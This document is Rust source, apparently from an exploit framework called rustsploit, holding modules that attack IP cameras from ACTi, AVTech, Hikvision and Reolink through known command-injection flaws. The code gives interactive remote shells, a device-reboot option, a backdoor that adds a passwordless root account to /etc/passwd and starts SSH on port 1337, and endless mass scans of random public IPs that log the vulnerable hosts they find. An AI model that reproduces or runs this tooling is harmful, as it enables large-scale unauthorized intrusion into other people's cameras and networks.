use tokio::io::AsyncWriteExt;
use ipnetwork::IpNetwork;
use std::net::{IpAddr, Ipv4Addr};
use rand::Rng;
use chrono::Local;
use crate::utils::{prompt_default, prompt_yes_no, prompt_port};
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
/// Reference:
/// - https://www.exploitalert.com/view-details.html?id=34128
/// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
/// Exploit authors:
/// - Todor Donev <todor.donev@gmail.com>
/// - GH0st3rs (RouterSploit module)
const DEFAULT_PORT: u16 = 8080;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MASS_SCAN_CONCURRENCY: usize = 100;
// Bogon/Private/Reserved exclusion ranges
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
];
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
return ip_addr;
}
}
}
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan());
println!("{}", "║ Command Injection via /cgi-bin/test ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
async fn run_mass_scan() -> Result<()> {
display_banner();
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0 (Random Internet Scan)".yellow().bold());
let port = prompt_port("Target Port", 8080)?;
let use_exclusions = prompt_yes_no("[?] Exclude reserved/private ranges?", true)?;
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
let outfile = prompt_default("[?] Output File", "acti_rce_hits.txt")?;
let outfile = Arc::new(outfile);
let threads = prompt_default("[?] Concurrency (IPs)", &MASS_SCAN_CONCURRENCY.to_string())?
.parse().unwrap_or(MASS_SCAN_CONCURRENCY);
let semaphore = Arc::new(Semaphore::new(threads));
let checked = Arc::new(AtomicUsize::new(0));
let found = Arc::new(AtomicUsize::new(0));
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
let outfile_clone = outfile.clone();
tokio::spawn(async move {
let file_result = OpenOptions::new()
.create(true)
.append(true)
.open(&*outfile_clone)
.await;
let mut file = match file_result {
Ok(f) => f,
Err(e) => {
eprintln!("[-] Failed to open output file: {}", e);
return;
}
};
while let Some(result) = rx.recv().await {
let _ = file.write_all(result.as_bytes()).await;
}
});
let c = checked.clone();
let f = found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(10)).await;
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
}
});
println!("{}", "[*] Starting infinite mass scan... Press Ctrl+C to stop.".cyan());
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let chk = checked.clone();
let fnd = found.clone();
let tx = tx.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc).to_string();
if let Ok(true) = check(&ip, port).await {
println!("{}", format!("[+] VULNERABLE: {}:{}", ip, port).green().bold());
fnd.fetch_add(1, Ordering::Relaxed);
let log_entry = format!("[{}] {}:{} - VULNERABLE\n", Local::now().format("%Y-%m-%d %H:%M:%S"), ip, port);
let _ = tx.send(log_entry);
}
chk.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
}
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" {
return run_mass_scan().await;
}
display_banner();
// Check for CIDR or Range
let is_mass_scan = target.contains('/') || target.contains('-');
// Prompt for port globally
let port = prompt_port("Target Port", DEFAULT_PORT)?;
if is_mass_scan {
println!("{}", format!("[*] Mass Scan Mode: {}", target).yellow());
let ips: Vec<IpAddr> = if target.contains('/') {
// CIDR
let net: IpNetwork = target.parse().map_err(|_| anyhow!("Invalid CIDR"))?;
net.iter().collect()
} else {
// Range (basic impl for dash)
// For now, let's assume specific basic range or just use utils if available.
// But since utils::expand might not be exposed, let's just stick to CIDR support for now
// or simple parsing if the user provided a list.
// Actually, let's use a simple heuristic: if it has -, try to parse start/end?
// For robustness, let's assume CIDR only or single for now unless we implement range expander.
// However, user asked for "mass scan", likely CIDR.
// Re-use logic from other modules?
return Err(anyhow!("Only CIDR (e.g. 192.168.1.0/24) supported for mass scan currently."));
};
println!("{}", format!("[*] Scanning {} targets...", ips.len()).cyan());
let concurrency = 50;
let semaphore = Arc::new(Semaphore::new(concurrency));
let vulnerable_count = Arc::new(AtomicUsize::new(0));
let mut tasks = Vec::new();
for ip in ips {
let sem = semaphore.clone();
let vc = vulnerable_count.clone();
let ip_str = ip.to_string();
tasks.push(tokio::spawn(async move {
let _permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => return, // Semaphore closed, exit gracefully
};
if let Ok(true) = check(&ip_str, port).await {
println!("{}", format!("[+] VULNERABLE: {}:{}", ip_str, port).green().bold());
vc.fetch_add(1, Ordering::Relaxed);
}
drop(_permit);
}));
}
for t in tasks {
let _ = t.await;
}
println!("\n{}", format!("[*] Scan Complete. Found {} vulnerable targets.", vulnerable_count.load(Ordering::Relaxed)).green().bold());
} else {
// Single Target Mode (Original Logic)
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
if check(target, port).await? {
println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
// Prompt for command to execute
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut cmd_input = String::new();
std::io::stdin()
.read_line(&mut cmd_input)
.context("Failed to read command input")?;
let cmd = {
let t = cmd_input.trim();
if t.is_empty() { "id" } else { t }
};
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
let output = execute(target, port, cmd).await?;
println!("{}", format!("[+] Output:\n{}", output).green());
} else {
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
}
}
Ok(())
}
/// Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.build()?;
let url = reqwest::Url::parse_with_params(&url, &[("iperf", format!(";{}", cmd))])?;
let res = client
.get(url)
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", format!("http://{}:{}", target, port))
.send()
.await?;
if res.status().is_success() {
let text = res.text().await?;
Ok(text)
} else {
Err(anyhow!("Command execution failed, status code: {}", res.status()))
}
}
/// Check if the target is running the vulnerable service
async fn check(target: &str, port: u16) -> Result<bool> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let index_url = format!("http://{}:{}/", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.build()?;
// Check /cgi-bin/test
let test_res = client.get(&url).send().await?;
if test_res.status().is_success() {
println!("{}", "[*] CGI endpoint accessible".cyan());
// Check root page contains 'Web Configurator'
let index_res = client.get(&index_url).send().await?;
if index_res.status().is_success() {
let body = index_res.text().await?;
if body.contains("Web Configurator") {
println!("{}", "[*] ACTi Web Configurator detected".cyan());
return Ok(true);
}
}
}
Ok(false)
}
@@ -0,0 +1,260 @@
use anyhow::{Result, Context};
use colored::*;
use rand::Rng;
use reqwest::Client;
use std::net::{IpAddr, Ipv4Addr};
use std::path::Path;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use std::io::Write;
use tokio::sync::Semaphore;
use crate::utils::{escape_shell_command, normalize_target, prompt_port};
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MASS_SCAN_CONCURRENCY: usize = 100;
const MASS_SCAN_PORT: u16 = 80;
// Bogon/Private/Reserved exclusion ranges
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
];
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
return ip_addr;
}
}
}
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ AVTech Camera CVE-2024-7029 RCE Exploit ║".cyan());
println!("{}", "║ Command Injection via brightness parameter ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Check if the device is vulnerable to CVE-2024-7029
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
println!("{}", "[*] Checking vulnerability...".cyan());
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
url.query_pairs_mut()
.append_pair("action", "Set")
.append_pair("brightness", "1;echo_CVE7029;");
let resp = client.get(url).send().await?;
let body = resp.text().await?;
Ok(body.contains("echo_CVE7029"))
}
/// Interactive shell to send arbitrary commands
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
let stdin = std::io::stdin();
let mut line = String::new();
println!("{}", "[+] Interactive shell started. Type 'exit' to quit.".green().bold());
loop {
print!("{}", "cve7029-shell> ".cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
if stdin.read_line(&mut line).is_err() {
break;
}
let cmd = line.trim().to_string();
line.clear();
{
if cmd.eq_ignore_ascii_case("exit") {
println!("{}", "[*] Exiting shell...".yellow());
break;
}
if cmd.is_empty() {
continue;
}
match exec_cmd(client, base, &cmd).await {
Ok(out) => println!("{}", out),
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
}
}
}
Ok(())
}
/// // Execute a remote command by abusing the brightness parameter
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
// Escape command to prevent injection of additional shell commands
let escaped_cmd = escape_shell_command(cmd);
let payload = format!("1;{};", escaped_cmd);
url.query_pairs_mut()
.append_pair("action", "Set")
.append_pair("brightness", &payload);
let response = client.get(url).send().await?;
Ok(response.text().await?)
}
/// Quick vulnerability check for mass scanning
async fn quick_check(client: &Client, ip: &str) -> bool {
let host = format!("{}:{}", ip, MASS_SCAN_PORT);
let url = format!("http://{}/cgi-bin/supervisor/Factory.cgi?action=Set&brightness=1;echo_CVE7029;", host);
match tokio::time::timeout(
Duration::from_secs(5),
client.get(&url).send()
).await {
Ok(Ok(resp)) => {
if let Ok(body) = resp.text().await {
body.contains("echo_CVE7029")
} else {
false
}
},
_ => false,
}
}
/// Mass scan mode
async fn run_mass_scan() -> Result<()> {
display_banner();
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
std::io::stdout().flush()?;
let mut excl_choice = String::new();
std::io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
let client = Arc::new(client);
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
let checked = Arc::new(AtomicUsize::new(0));
let found = Arc::new(AtomicUsize::new(0));
let c = checked.clone();
let f = found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(10)).await;
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
}
});
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let cl = client.clone();
let chk = checked.clone();
let fnd = found.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
let ip_str = ip.to_string();
if quick_check(&cl, &ip_str).await {
println!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
fnd.fetch_add(1, Ordering::Relaxed);
}
chk.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
}
/// Entry point required for RouterSploit-inspired dispatch system
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
} else {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
let port = prompt_port("Enter port to use", 80)?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
// Handle either single IP or file of targets
let targets = if Path::new(target).exists() {
println!("{}", format!("[*] Loading targets from file: {}", target).cyan());
tokio::fs::read_to_string(target)
.await?
.lines()
.map(str::to_string)
.filter(|s| !s.trim().is_empty())
.collect::<Vec<_>>()
} else {
vec![target.to_string()]
};
println!("{}", format!("[*] Testing {} target(s)...", targets.len()).cyan());
println!();
for raw_ip in &targets {
let scheme = if raw_ip.starts_with("https://") { "https" } else { "http" };
let normalized = normalize_target(raw_ip)?;
let url = if normalized.contains("]:") || (normalized.contains(':') && !normalized.starts_with('[')) {
format!("{}://{}", scheme, normalized)
} else {
format!("{}://{}:{}", scheme, normalized, port)
};
println!("{}", format!("[*] Testing: {}", url).yellow());
if check_vuln(&client, &url).await? {
println!("{}", format!("[+] {} is VULNERABLE!", url).green().bold());
interactive_shell(&client, &url).await?;
} else {
println!("{}", format!("[-] {} is not vulnerable", url).red());
}
println!();
}
println!("{}", "[*] Scan complete.".cyan());
Ok(())
}
}
@@ -0,0 +1,518 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use rand::Rng;
use reqwest::Client;
use std::io::{self, Write};
use std::net::{IpAddr, Ipv4Addr};
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use tokio::sync::Semaphore;
use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use chrono::Local;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MAX_CMD_LENGTH: usize = 22;
const MASS_SCAN_CONCURRENCY: usize = 100;
const MASS_SCAN_PORT: u16 = 80;
// Bogon/Private/Reserved exclusion ranges
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
];
#[derive(Clone, Copy, Debug)]
enum ScanMode {
SafeCheck,
UnsafeReboot,
CustomCommand,
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
return ip_addr;
}
}
}
/// Display module banner
fn display_banner() {
println!(
"{}",
"╔═══════════════════════════════════════════════════════════╗".cyan()
);
println!(
"{}",
"║ Hikvision Web Server CVE-2021-36260 ║".cyan()
);
println!(
"{}",
"║ Unauthenticated Command Injection (Build 210702) ║".cyan()
);
println!(
"{}",
"║ PoC by bashis - Ported to Rust for rustsploit ║".cyan()
);
println!(
"{}",
"╚═══════════════════════════════════════════════════════════╝".cyan()
);
}
/// Normalize target URL
fn normalize_target(raw: &str) -> String {
let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
("http://", s)
} else if let Some(s) = raw.strip_prefix("https://") {
("https://", s)
} else {
("http://", raw)
};
let (auth, path) = match after.find('/') {
Some(i) => (&after[..i], &after[i..]),
None => (after, ""),
};
let (host_part, port_part) = if auth.starts_with('[') {
if let Some(pos) = auth.rfind(']') {
(&auth[..=pos], &auth[pos + 1..])
} else {
(auth, "")
}
} else if auth.matches(':').count() > 1 {
(auth, "") // IPv6 without brackets
} else if let Some(pos) = auth.rfind(':') {
(&auth[..pos], &auth[pos..])
} else {
(auth, "")
};
let mut inner = host_part;
while inner.starts_with('[') && inner.ends_with(']') {
inner = &inner[1..inner.len() - 1];
}
let wrapped = if inner.contains(':') {
format!("[{}]", inner)
} else {
inner.to_string()
};
format!("{}{}{}{}", scheme, wrapped, port_part, path)
}
/// HTTP client wrapper for Hikvision exploitation
struct HikvisionClient {
client: Client,
base_url: String,
}
impl HikvisionClient {
fn new(target: &str, proto: &str, timeout: u64) -> Result<Self> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(timeout))
.build()
.context("Failed to build HTTP client")?;
let base_url = format!("{}://{}", proto, target);
let base_url = normalize_target(&base_url);
Ok(Self { client, base_url })
}
/// Send PUT request with command injection payload
async fn send_payload(&self, command: &str, timeout: u64) -> Result<reqwest::Response> {
if command.len() > MAX_CMD_LENGTH {
return Err(anyhow!(
"Command '{}' is too long ({} chars, max {})",
command,
command.len(),
MAX_CMD_LENGTH
));
}
let payload = format!(
"<?xml version=\"1.0\" encoding=\"UTF-8\"?><language>$({})</language>",
command
);
self.client
.put(format!("{}/SDK/webLanguage", self.base_url))
.header("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")
.header("X-Requested-With", "XMLHttpRequest")
.body(payload)
.timeout(Duration::from_secs(timeout))
.send()
.await
.context("Failed to send payload")
}
/// Send GET request
async fn get(&self, path: &str, timeout: u64) -> Result<reqwest::Response> {
self.client
.get(format!("{}{}", self.base_url, path))
.timeout(Duration::from_secs(timeout))
.send()
.await
.context("Failed to send GET request")
}
}
async fn check_vulnerable(client: &HikvisionClient, noverify: bool) -> Result<bool> {
if noverify {
return Ok(true);
}
// First check if we can connect
match client.get("/", 5).await {
Ok(_) => {},
Err(_) => return Ok(false),
}
// Try to write a test file
match client.send_payload(">webLib/c", 5).await {
Ok(resp) => {
if resp.status().as_u16() == 404 { return Ok(false); }
// Try to read the file we created
match client.get("/c", 5).await {
Ok(read_resp) => {
if read_resp.status().as_u16() == 200 { return Ok(true); }
Ok(false)
}
Err(_) => Ok(false),
}
}
Err(_) => Ok(false),
}
}
async fn check_with_reboot(client: &HikvisionClient) -> Result<bool> {
let _ = client.send_payload("reboot", 5).await;
tokio::time::sleep(Duration::from_secs(2)).await;
match client.get("/", 5).await {
Ok(_) => Ok(false), // Still responding
Err(_) => Ok(true), // Device went down/rebooted
}
}
async fn execute_cmd(client: &HikvisionClient, command: &str) -> Result<String> {
let write_cmd = format!("{}>webLib/x", command);
if write_cmd.len() > MAX_CMD_LENGTH {
return Err(anyhow!("Command too long"));
}
client.send_payload(&write_cmd, 10).await?;
let resp = client.get("/x", 10).await?;
if resp.status().as_u16() != 200 {
return Err(anyhow!("Failed to retrieve command output"));
}
match resp.text().await {
Ok(text) => Ok(text),
Err(e) => Err(anyhow!("Failed to read command output: {}", e)),
}
}
async fn execute_blind_cmd(client: &HikvisionClient, command: &str) -> Result<()> {
match client.send_payload(command, 10).await {
Ok(resp) => {
if resp.status().as_u16() == 500 { Ok(()) } else { Err(anyhow!("Unexpected code")) }
}
Err(e) => Err(anyhow!("Failed: {}", e)),
}
}
async fn interactive_shell(client: &HikvisionClient) -> Result<()> {
println!("{}", "[*] Preparing shell access...".cyan());
match client.get("/N", 5).await {
Ok(resp) => {
if resp.status().as_u16() == 404 {
client.send_payload("echo -n P::0:0:W>N", 10).await?;
client.send_payload("echo :/:/bin/sh>>N", 10).await?;
client.send_payload("cat N>>/etc/passwd", 10).await?;
client.send_payload("dropbear -R -B -p 1337", 10).await?;
client.send_payload("cat N>webLib/N", 10).await?;
println!("{}", "[+] Dropbear SSH started on port 1337".green());
}
}
Err(_) => return Err(anyhow!("Failed to check shell status")),
}
println!("{}", "[*] SSH connection ready".cyan());
Ok(())
}
async fn interactive_mode(client: &HikvisionClient) -> Result<()> {
println!("{}", "\n[*] Entering interactive command mode".cyan());
loop {
print!("{}", "hikvision> ".green().bold());
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let cmd = input.trim();
if cmd.is_empty() { continue; }
if cmd == "exit" || cmd == "quit" { break; }
match execute_cmd(client, cmd).await {
Ok(output) => println!("{}", output),
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
}
}
Ok(())
}
/// Quick vulnerability check for mass scanning
async fn quick_check(ip: &str, mode: ScanMode, custom_payload: &str) -> bool {
let host_port = format!("{}:{}", ip, MASS_SCAN_PORT);
if let Ok(client) = HikvisionClient::new(&host_port, "http", 5) {
match mode {
ScanMode::SafeCheck => {
check_vulnerable(&client, false).await.unwrap_or(false)
},
ScanMode::UnsafeReboot => {
check_with_reboot(&client).await.unwrap_or(false)
},
ScanMode::CustomCommand => {
// Just execute validation blind command
match client.send_payload(custom_payload, 5).await {
Ok(resp) => resp.status().as_u16() == 200 || resp.status().as_u16() == 500,
Err(_) => false,
}
}
}
} else {
false
}
}
/// Mass scan mode
async fn run_mass_scan() -> Result<()> {
display_banner();
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
io::stdout().flush()?;
let mut excl_choice = String::new();
io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
// Prompt for Output File
print!("{}", "[?] Output File (default: hikvision_hits.txt): ".cyan());
io::stdout().flush()?;
let mut outfile = String::new();
io::stdin().read_line(&mut outfile)?;
let outfile = outfile.trim();
let outfile = if outfile.is_empty() { "hikvision_hits.txt" } else { outfile };
let outfile = outfile.to_string();
// Prompt for Payload Mode
println!("{}", "[?] Select Payload Mode:".cyan());
println!(" 1. Safe Check (File Write/Read)");
println!(" 2. Unsafe Check (Reboot Device)");
println!(" 3. Custom Command");
print!("{}", "Select option [1-3] (default 1): ".cyan());
io::stdout().flush()?;
let mut mode_str = String::new();
io::stdin().read_line(&mut mode_str)?;
let mode = match mode_str.trim() {
"2" => ScanMode::UnsafeReboot,
"3" => ScanMode::CustomCommand,
_ => ScanMode::SafeCheck,
};
let mut custom_payload = String::new();
if let ScanMode::CustomCommand = mode {
print!("{}", "[?] Enter Custom Command (max 22 chars): ".cyan());
io::stdout().flush()?;
io::stdin().read_line(&mut custom_payload)?;
custom_payload = custom_payload.trim().to_string();
}
let custom_payload = Arc::new(custom_payload);
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
let checked = Arc::new(AtomicUsize::new(0));
let found = Arc::new(AtomicUsize::new(0));
// Result writer channel
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
// Writer task
let outfile_clone = outfile.clone();
tokio::spawn(async move {
let file_result = OpenOptions::new()
.create(true)
.append(true)
.open(&outfile_clone)
.await;
let mut file = match file_result {
Ok(f) => f,
Err(e) => {
eprintln!("[-] Failed to open output file: {}", e);
return;
}
};
while let Some(result) = rx.recv().await {
if let Err(e) = file.write_all(result.as_bytes()).await {
eprintln!("[-] Failed to write result: {}", e);
}
}
});
let c = checked.clone();
let f = found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(10)).await;
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
}
});
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let chk = checked.clone();
let fnd = found.clone();
let tx = tx.clone();
let cp = custom_payload.clone();
let current_mode = mode; // Copy
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
let ip_str = ip.to_string();
if quick_check(&ip_str, current_mode, &cp).await {
println!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
fnd.fetch_add(1, Ordering::Relaxed);
let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string();
let log_entry = format!("{} - {}\n", ip_str, timestamp);
let _ = tx.send(log_entry);
}
chk.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
}
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
} else {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
// Parse target to extract host:port and protocol
let (proto, host_port) = if target.starts_with("https://") {
("https", target.strip_prefix("https://").unwrap_or(target))
} else if target.starts_with("http://") {
("http", target.strip_prefix("http://").unwrap_or(target))
} else {
("http", target)
};
let host_port = host_port.split('/').next().unwrap_or(host_port);
println!("{}", "[*] Select operation mode:".cyan());
println!(" {} Check if vulnerable (safe)", "1.".bold());
println!(" {} Check with reboot (unsafe)", "2.".bold());
println!(" {} Execute single command", "3.".bold());
println!(" {} Execute blind command", "4.".bold());
println!(" {} Interactive shell mode", "5.".bold());
println!(" {} Setup SSH shell (dropbear)", "6.".bold());
println!();
print!("{}", "Select option [1-6]: ".green());
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
let choice = choice.trim();
let client = HikvisionClient::new(host_port, proto, DEFAULT_TIMEOUT_SECS)?;
match choice {
"1" => { check_vulnerable(&client, false).await?; }
"2" => {
println!();
print!("{}", "[!] This will reboot the device. Continue? [y/N]: ".red());
io::stdout().flush()?;
let mut confirm = String::new();
io::stdin().read_line(&mut confirm)?;
if confirm.trim().eq_ignore_ascii_case("y") {
check_with_reboot(&client).await?;
} else {
println!("{}", "[*] Aborted".yellow());
}
}
"3" => {
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
println!();
print!("{}", "Enter command to execute: ".green());
io::stdout().flush()?;
let mut cmd = String::new();
io::stdin().read_line(&mut cmd)?;
let cmd = cmd.trim();
if !cmd.is_empty() {
match execute_cmd(&client, cmd).await {
Ok(output) => {
println!("{}", "\n[+] Command output:".green());
println!("{}", output);
}
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
}
}
}
"4" => {
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
println!();
print!("{}", "Enter blind command to execute: ".green());
io::stdout().flush()?;
let mut cmd = String::new();
io::stdin().read_line(&mut cmd)?;
let cmd = cmd.trim();
if !cmd.is_empty() { execute_blind_cmd(&client, cmd).await?; }
}
"5" => {
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
interactive_mode(&client).await?;
}
"6" => {
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
interactive_shell(&client).await?;
}
_ => println!("{}", "[-] Invalid option".red()),
}
println!();
println!("{}", "[*] Exploitation complete".cyan());
Ok(())
}
}
@@ -0,0 +1 @@
pub mod hikvision_rce_cve_2021_36260;
+6
View File
@@ -0,0 +1,6 @@
pub mod hikvision;
pub mod reolink;
pub mod uniview;
pub mod avtech;
pub mod abus;
pub mod acti;
@@ -0,0 +1 @@
pub mod reolink_rce_cve_2019_11001;
@@ -0,0 +1,98 @@
use anyhow::{Result, Context};
use colored::*;
use reqwest::Client;
use std::time::Duration;
use crate::utils::{prompt_required, normalize_target, prompt_default};
use urlencoding::encode;
/// Reolink Camera Authenticated Command Injection (CVE-2019-11001)
///
/// Exploits an authenticated OS command injection in the `TestEmail` functionality.
